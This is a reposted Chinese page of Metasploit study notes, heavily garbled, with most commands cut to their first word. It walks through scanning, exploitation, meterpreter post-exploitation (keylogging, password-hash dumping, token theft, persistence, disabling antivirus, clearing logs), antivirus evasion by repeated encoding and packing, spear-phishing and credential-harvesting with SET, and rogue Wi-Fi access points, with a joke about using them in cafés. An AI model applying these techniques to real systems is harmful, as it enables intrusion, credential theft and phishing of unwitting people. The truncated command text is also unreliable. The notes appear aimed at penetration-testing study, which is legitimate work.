Metasploit 读书笔记
来源:互联网 发布:文件夹最高权限 mac 编辑:程序博客网 时间:2024/06/08 07:57
Metasploit 读书笔记
《metasploit
-
转自:http://www.t00ls.net/
----BY
修订说明:v2版全面使用bt5
目录
一.名词解释····································································
二.MSF基础···································································
三.信息探测与收集···························································
四.基本漏洞扫描······························································
五.基础溢出命令·····························································10
六.METERPRETER·························································11
七.避开杀软···································································15
八.使用用户端攻击方式(client-side
九.MSF
十.社会工程学工具集(SET)···········································
十一.FAST-TRACK·························································22
十二.KARMERASPLOIT·················································
十四.渗透实战演习··························································24
十五.常用命令备忘··························································26
3
一.名词解释
exploit
测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的
有内存溢出,网站程序漏洞利用,配置错误exploit。
payload
我们想让被攻击系统执行的程序,如reverse
个反响连接,bind
能在目标机器上执行有限命令的程序。
shellcode
是进行攻击时的一系列被当作payload
执行命令的shell。
module
MSF
listener
等待来自被攻击机器的incoming
二.MSF基础
1、MSF
armitage),(在老版本中还有web
模式最常用,启动方式:
cd
msfconsole
运行此命令后将进入msf
msf>
2、获取命令的帮助信息:help
例子:
help
3、msfcli
msfcli
msfcli
------------------------------------------------------------------------------
mode:H(help)帮助
S(summary)显示模块信息
O(options)显示模块的可用选项
A(advanced)显示高级选项
I(ids)显示IDS
P(payload)显示此模块可用的payload
T(targets)显示可用targets
4
AC(action)显示可用actions
C(check)运行模块测试
E(execute)执行选定的模块
--------------------------------------------------------------------------------------
例子:ms08_067_netapi
msfcli
msfcli
msfcli
#执行(此处O、P
4、Armitage
运行方式:
cd
armitage
5、MSF
MSFpayload
用于生成shellcode,可生成C,Ruby,JaveScript,VB
帮助信息:
msfpayload
MSFencode
编码压缩shellcode,过IDS
msfencode
msfencode
三.信息刺探与收集
1、攻击第一步:基础信息收集
①whois
msf
msf>
②http://searchdns.netcraft.com/在线收集服务器IP
③nslookup
set
>
2、用nmap
方式探测主机-A
--------------------------------------------------------------------------------------------------
常用扫描参数组合:
nmap
nmap
其他组合:
5
nmap
nmap
nmap
nmap
nmap
nmap
nmap
nmap
nmap
(discovery
----------------------------------------------------------------------------------------------------------------
(
--script-help
(nmap
3、MSF
/etc/init.d/postgreql-8.3
msf>
msf>
导入nmap
nmap
msf>
msf>
(msf
msf>
msf>
mysql
4、高级扫描方式:
①msf>
show
set
set
set
run
(RHOSTS、RPORT
②msf>
③nmap
msf>
msf>
msf>
④使用portscan
6
msf>
msf>
set
set
run
5、特定扫描:
smb_version
msf>
show
set
run
db_hosts
查找mssql
msf>
show
set
set
run
SSH
msf>
set
run
FTP
msf>
show
set
set
run
扫描FTP
use
set
set
run
扫描SNMP
msf>
set
set
run
7
6、编写自定义扫描模块:
MSF
使用Ruby
例子:一个简单的自定义扫描模块
----------------------------------------------------------------------------------------------------------------
#Metasploit
require
class
include
include
def
super(
‘Name’
‘Version’
‘Description’
‘Author’
‘License’
)
register_options(
[
Opt::RPORT(12345)
],self.class)
end
def
connect()
sock.puts(‘HELLO
data
print_status(“Received:
disconnect()
end
end
-------------------------------------------------------------------------------------------------------------
测试:将模块保存到modules/auxiliary/scanner/目录下面,命名为simple_tcp.rb,注意
保存的位置很重要。
使用nc
echo
nc
msf>
>show
>set
>run
Received:
8
四.基本漏洞扫描
1、使用nc
nc
GET
Server:
(1:还有一个功能与nc
ncat
GET
2:题外:ncat
可以聊天了:服务器(chatserver):ncatncat
3:ncat
后门,那么可以这样查看中国菜刀连接后门时发送的数据:
服务器(server.example.com)上:ncat
然后使用菜刀连接http://server.example.com/nc.php
就保存到服务器的caidao.log
就可以了。
4:其实与nc
监听:sbd
连接:sbd
5:当然也可以用来聊天,与ncat
而sbd
pc1:sbd
pc2:sbd
6:其实nc
pc1:nc
pc2:telnet
2、与NeXpose
在nexpose
db_connect
db_import
db_hosts
db_vulns
在MSF
db_destroy
db_connect
load
nexpose_connect
nexpose_connect
nexpose_scan
db_hosts
9
db_vulns
(如果你想在bt5
了不让装。)
3、与nessus
使用Nessus
db_connect
db_import
db_hosts
db_vulns
在MSF
db_connect
load
nessus_connect
nessus_policy_list
nessus_scan_new
描名称
nessus_scan_status
nessus_report_list
nessus_report_get
db_hosts
4、特殊扫描:
SMB
msf>
set
set
set
run
VNC
msf>
set
run
Open
msf>
set
set
run
当扫描到此漏洞的主机后可以使用xspy
cd
10
./xspy
(xspy
5、使用Autopwn
autopwn
基于漏洞筛选模块p
db_connect
db_import
db_autopwn
-e
-x
五.基础溢出命令
1、基本命令:
查看可用溢出模块show
查看辅助模块show
查看可用选项show
加载模块后退出此模块back
例子:
msf>
back
搜索模块search
例子:
查看当前模块可用的payload:
例子:
use
show
set
show
查看可选的目标类型show
查看更多信息info
设置一个选项或取消设置set/unset
设置或取消全局选项setg/unsetg
保存全局选项的设置save
查看建立的session
激活session
2、暴力端口探测:
11
当主机端口对外开放但是普通探测方法无法探测到时,用此模块,msf
端口进行尝试,直到找到一个开放端口并与测试者建立连接。
例子:
use
set
set
set
search
set
exploit
sessions
sesssions
3、MSF
为了缩短测试时间可以将msf
加载方式:msfconsole
例子:
echo
echo
msfconsole
例子:
echo
echo
echo
echo
echo
msfconsole
msf>
六.METERPRETER
1、当对目标系统进行溢出时,使用meterpreter
用于在目标机器上执行更多的操作。
例子:
msf>
假如已经探测到1433(TCP)和1434(UDP)端口(mssql),
msf>
msf>
show
set
set
exploit
12
至此可获取服务器名称,版本号等信息。
msf>
show
set
set
set
set
exploit
暴力猜解登陆密码。接下来使用mssql
msf>
show
set
set
set
set
set
exploit
当获取到一个meterpreter
获取屏幕截图:screenshot
获取系统信息:sysinfo
获取键盘记录:
meterpreter>
meterpreter>
meterpreter>
录保存到本地txt
cat
获取系统账号密码:
meterpreter>
meterpreter>
当获取到密码的hash
pass-the-hash
msf>
set
set
set
set
set
exploit
获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门:
在目标机器上执行:net
本地生成一个后门程序:
msfpayload
LHOST=192.168.1.111
将payload.exe
13
本地执行端口监听,等待来自目标机器连接:
msfcli
LHOST=192.168.1.111
use
getsystem
getuid
至此取得SYSTEM
2、令牌模拟:当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后
登陆其他机器时不需要登陆密码。
meterpreter>
380
meterpreter>
有时ps
用token:
meterpreter>
meterpreter>
meterpreter>
meterpreter>
meterpreter>
域管理员组
3、内网渗透:当取得同网段内一台主机的权限后可以进一步渗透网内其他主机:
例子:
meterpreter>
Local
meterpreter>
msf>
msf>
msf>
set
set
set
set
exploit
也可以使用自动式添加路由模块:
msf>
msf>
4、Meterpreter
使用run
14
①vnc
meterpreter>
meterpreter>
②进程迁移
当攻击成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp
可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。
例子:
meterpreter>
(在64
权限是有差异的。)
③关闭杀毒软件
meterpreter>
④获取系统密码hash
meterpreter>
(64
run
而且如果要使用shell
run
⑤获取系统流量数据
meterpreter>
⑥直捣黄龙
可以干很多事情:获取密码,下载注册表,获取系统信息等
meterpreter>
⑦持久保持
当目标机器重启之后仍然可以控制
meterpreter>
-X
下次连接时:
msf>
set
set
set
exploit
(会在以下位置和注册表以随机文件名写入文件等信息,如:
C:UsersYourtUserNameAppDat
C:UsersYourtUserNameAppDat
HKLMSoftwareMicrosoftWin
⑧POST
可实现同时多个session
15
例子:获取hash
meterpreter>
其他还有很多,使用TAB
5、升级command
例子:
msfconsole
msf>
msf>
set
set
setg
setg
exploit
sessions
sessions
6、使用Railgun
例子:
meterpreter>
>>client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”)
在目标机器上会弹出一个标题栏为world
七.避开杀软
1、使用msfpayload
例子:
msfpayload
msfpayload
/var/www/payload1.exe
然后本机监听端口
msf>
show
set
set
set
exploit
2、过杀软---使用msfencode
16
msfencode
例子:
msfpayload
|msfencode
使用R
3、多次编码:
例子:
msfpayload
msfencode
msfencode
/var/www/payload3.exe
简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17
(题外:经测试,1:使用此命令生成的后门也被MSE
次数较少的后门可以直接被秒杀;3:windows/x64/meterpreter/reverse_tcp
经任何处理仍然不被杀,看来杀毒软件傻逼了;4:x86
上无法执行;5:360
照样可以连接并操作,看来隔离沙箱功能有限。)
4、自定义可执行程序模板:
msfencode
平台的不同模板)作为可执行程序的模板,杀毒厂商也不是傻逼,所以这里最好使用自
定义模板,如:
wget
cd
unzip
cd
msfpayload
–t
在目标机器上运行,然后本地使用msfcli
msfcli
LPORT=8080
5、暗度陈仓—猥琐执行payload:
绑定payload
msfpayload
–t
假如选择一个GUI
时候不会弹出cmd
6、加壳:
msfencode
17
后更保险”,例如UPX
apt-get
最新版可到sf.net
使用方法:
upx
还有另外一个工具msfvenom
亲,一定要试试哦!过杀软总结起来就是多次编码和使用多种壳,终极大法就是使用自
己编写的后门(市面上没有,被杀几率更低)。
八.使用用户端攻击方式(client-side
1、主要指利用多种途径包括社会工程学方式攻击目标机器上安装的带有漏洞的程序如浏览
器,pdf
基于浏览器的攻击:
例子:
msf>
set
set
set
set
set
exploit
sessions
run
或者:
msf>
show
set
set
exploit
use
getsystem
2、文件格式exploit
利用文件格式的漏洞达到溢出的目的,比如PDF,word,图片等。
例子:
18
msf>
info
set
set
set
exploit
此时会生成一个msf.doc
等待反弹连接:
use
set
set
set
exploit
九.MSF
包括端口扫描,服务探测,弱口令探测,fuzzer,sql
模块保存在/opt/framework3/msf3/modules/auxiliary/目录中的各个子目录下。
可用命令查看全部可用附加模块:msf>
例子:
msf>
info
show
set
run
搜索所有http
search
附加模块深层剖析:
cd
wget
http://carnal0wnage.googlecode.c
ueare.rb
代码分析:
require
class
#Exploit
include
include
19
def
super(
‘Name’
‘Version’
‘Description’
id’,
‘Author’
‘License’
‘References’
[
[‘URL’,’http://groups.google.com/group/foursquare-api’],
[‘URL’,’http://www.mikekey.com/im-a-foursquare-cheater/’],
]
#todo
register_options(
[
Opt::RHOST(‘api.foursquare.com’),
OptString.new(‘VENUEID’,[true,’foursquare
OptString.new(‘USERNAME’,[true,’foursquare
OptString.new(‘PASSWORD’,[true,’foursquare
],self.class)
end
def
begin
user
pass
venid
user_pass
decode
postrequest
print_status(“Base64
print_status(“Base64
res
‘uri’
‘version’
‘method’
‘data’
‘headers’
{
‘Authorization’
‘Proxy-Connection’=>
20
}
},25)
print_status(“#{res}”)
end
rescue
rescue
pus
end
end
ruby
如何使用:
msf>
msf>
set
set
set
run
十.社会工程学工具集(SET)
主要功能:hacking
1、SET
SET
更新:
cd
svn
配置文件config/set_config,当使用基于web
vi
METASPLOIT_PATH=/opt/framework3/msf3
WEBATTACK_EMAIL=ON
使用Java
定义则需要安装JDK
SELF_SIGNED_APPLET=ON
SET
21
机是多网卡需要手动指定IP,则需将此项关闭:
AUTO_DETECT=OFF
SET
要本机安装apache
APACHE_SERVER=ON
2、网络钓鱼攻击(Spear-Phishing
利用文件格式漏洞(如PDF)等生成后门并通过email(GMAIL,SENDMAIL,)向目标
发送带后门附件的电子邮件,诱使目标打开附件激活后门。
例子:
./set
此时选择菜单1.Spear-Phishing
继续选择:1.Perform
选择exploit:8.Adobe
选择payload:4.Windows
选择是否更改文件名:1.Keep
选择发送邮件方式1.Email
选择邮件模板1.Pre-Defined
5.Status
输入收件方email
选择发件方式:1.Use
输入发件gmail
选择是否立即监听端口等待连接:yes
此时SET
3、WEB
SET
Java
含后门的仿冒站点时会被询问是否允许执行web
payload
用户端(Client-side)web
进行攻击的效果最好。
账号密码获取(Username
击目标登陆,截获其账号密码。例如截获GMAIL
标签页绑架(Tabnabbing):当目标打开多个标签页浏览网站并切换标签页时,网
站侦测到目标的行为并显示让目标等待的信息,恰好目标打开了被绑架的标签页并要求
在相似程度惊人的网站里输入登陆凭据,当目标输入之后登陆信息即被截获,同时被重
定向到真实网站。
中间人攻击(Man-Left-in-the-Middle):此方式使用已经被攻陷的网站的HTTP
求或者网站的XSS
了一个网站的XSS
22
截获登陆信息。
Web
时若目标打开此仿冒链接会被定向到我们的仿冒网站,其登陆信息会被截获。
混合模式(multi-attack):可同时使用以上多种攻击手段以提高成功率。
介质感染攻击(Infectious
含autorun.inf
迷你USB
用时,可使用此方法将USB
键记录。
SET
包括SET
当目标主机只开放HTTP
包含了常用攻击和无线攻击向导,输入./set-web
(SET
十一.FAST-TRACK
Fast-Track
端攻击向导等,作为对MSF
器攻击向导等。fasttrack
交互式模式:./fast-track.py
命令行模式:./fast-track.py
Web
1、MSSQL
MSSQL
攻击时你只需要输入有注入漏洞的url
段,如http://example.com/show.asp?id=INJECTHERE&date=2012,fast-track
入,一旦成功会给你返回一个cmd
注入也支持POST
会自动判断并尝试进行注入。
SQL
弱口令,一旦获取到一个sa
SQL
机,并扫描是否存在sql
获取系统权限。
23
2、Binary-HEX
当你已经进入一个系统且需要上传可执行文件上去,就可以使用这个工具将可执行的二
进制文件转换为HEX
3、批量用户端攻击:
和浏览器攻击差不多,但是增加了对目标的ARP
和目标处于同一网段的情况下),以及MSF
恶意网站的时候,fast-track
起作用将获取到目标机器的控制权限。
(新版本fasttrack
Payload
脚本化的工具有时确实能减少很多工作时间,但是不能完全依赖于这类自动程度很高的
工具,特别是在用这些工具搞不定目标的时候,手工测试的能力往往才是王道,细节决定成
败。
十二.KARMERASPLOIT
Karmetasploit
Karma
等待目标连接上钩。与MSF
IMAP4,SMTP,FTP,SMB,HTTP
基本配置:
需要的配置不多,首先需要配置一个DHCP
------------------------------------------------------------------------
option
default-lease-time
max-lease-time
ddns-update-style
authoritative;
log-facility
subnet
range
option
option
}
-----------------------------------------------------------------------------
将配置文件保存在/etc/dhcp3/dhcpd.conf
下一步下载karma
24
wget
将网卡激活为监听模式:
airmon-ng
创建伪装接入点,-P
-v
airbase-ng
此时会生成一个名为at0
接着打开DHCP
ifconfig
dhcpd3
检查是否成功启动:
ps
tail
下一步加载karma
msf>
等待收获:
当对方打开邮件客户端并登陆收取邮件,那么他的账户密码将被截获,因为他所连接的
DNS
当对方打开浏览器准备浏览网页时karma
务,加载exploits
总结:建议这招可以拿到麦当劳,星巴克用,效果更好。
十三.构建自己的模块,编写自己的exploit,meterpreter
脚本编程
*************************************************************
这三章留着后面看,需要有ruby
****************************************************
十四.渗透实战演习
首先需要下载并安装一个专门用来练习渗透的虚拟机Metasploitable:
http://updates.metasploit.com/data/Metasploitable.zip.torrent
虚拟机IP:172.16.32.162
WINXP:172.16.32.131
25
情报收集:
nmap
msfconsole:
cd
msfconsole
msf>
set
set
set
load
exploit
run
shell
net
net
upload
nmap.exe
msf>
set
run
msf>
set
run
search
set
set
set
set
run
use
set
set
set
set
set
set
26
exploit
search
set
set
set
show
set
exploit
十五.常用命令备忘
-------------------------------------
MSFconsole
-------------------------------------
show
show
show
search
info
use
LHOST
RHOST
set
setg
show
show
set
set
show
set
check
exploit
exploit
exploit
exploit
exploit
sessions
sessions
sessions
sessions
sessions
db_create
27
db_connect
db_nmap
db_autopwn
db_autopwn
db_destroy
-----------------------------------------------------------------
Meterpreter
---------------------------------
help
run
sysinfo
ls
use
ps
migrate
use
list_tokens
list_tokens
impersonate_token
steal_token
drop_token
getsystem
shell
execute
execute
execute
rev2self
reg
setkesktop
screenshot
upload
download
keyscan_start
keyscan_stop
getprivs
uictl
background
hashdump
use
sniffer_interfaces
sniffer_dump
sniffer_start
sniffer_stats
28
sniffer_stop
add_user
add_group_user
clearev
timestomp
reboot
---------------------------------------------------------------
MSFpayload
--------------------------------
msfpayload
msfpayload
查看指定payload
msfpayload
payload.exe
生成payload.exe
msfpayload
payload.raw
保存为RAW
msfpayload
保存为C
msfpayload
保存为java
-------------------------------
MSFencode
-------------------------------
msfencode
msfencode
msfencode
以指定格式显示编码后的buffer
msfencode
生成编码后的exe
msfpayload
5
多编码器结合,多次编码
msfencode
生成纯字符格式C
---------------------------
MSFcli
---------------------------
msfcli
msfcli
29
msfcli
LPORT=443
针对指定IP
-----------------------------------------------
MSF,Ninja,Fu
------------------------
msfpayload
msfencode
使用calc.exe
msfpayload
msfencode
与上面差不多,只是执行的时候不依赖于生成的可执行文件,且不会有任何提示信息
msfpayload
-e
PAYLOAD=windows/meterpreter/bind_tcp
生成编码后的payload
-----------------------
MSFvenom
-----------------------
msfvenom
-----------------------------------------------------
Meterpreter
-----------------------------------------------------
提权一般步骤
meterpreter>
meterpreter>
meterpreter>
meterpreter>
meterpreter>
net
net
获取hash
meterpreter>
meterpreter>
meterpreter>
如果是在win2008
meterpreter>
meterpreter>
meterpreter>
30
meterpreter>
meterpreter>
meterpreter>
meterpreter>
使用Incognito
meterpreter>
meterpreter>
meterpreter>
meterpreter>
meterpreter>
meterpreter>
查看保护机制并禁用之
meterpreter>
meterpreter>
meterpreter>
检查是否是虚拟机
meterpreter>
转入命令行
meterpreter>
远程VNC
meterpreter>
转入后台
meterpreter>
Bypass
meterpreter>
OS
meterpreter>
Linux
meterpreter>
转自:
http://www.t00ls.net/
- Metasploit 读书笔记
- Metasploit
- Metasploit
- Metasploit
- Metasploit使用说明
- HTTP METASPLOIT
- Metasploit Framework
- metasploit-unleashed
- Metasploit Support
- metasploit video
- metasploit vpn
- metasploit更新
- Metasploit简介
- metasploit使用
- metasploit + openvas
- metasploit + dns_bruteforce
- Metasploit - postgres
- Metasploit backdoor
- Jcrop图像裁剪
- C++注释规范
- Spring 配置中的 default-lazy-init="false"详解
- 黑马程序员------ Java经典综合类编程题
- 综述种类:Android组件之间 数据传递方法
- Metasploit 读书笔记
- JavaEE开发汇总
- flot显示值为null的折线图
- iOS项目中导入Fabric库
- java自带线程池和队列详细讲解
- Java图形用户界面——AWT概述
- 可滑动手机日期插件
- 创业?你还差一位合格的产品经理
- 快速构建类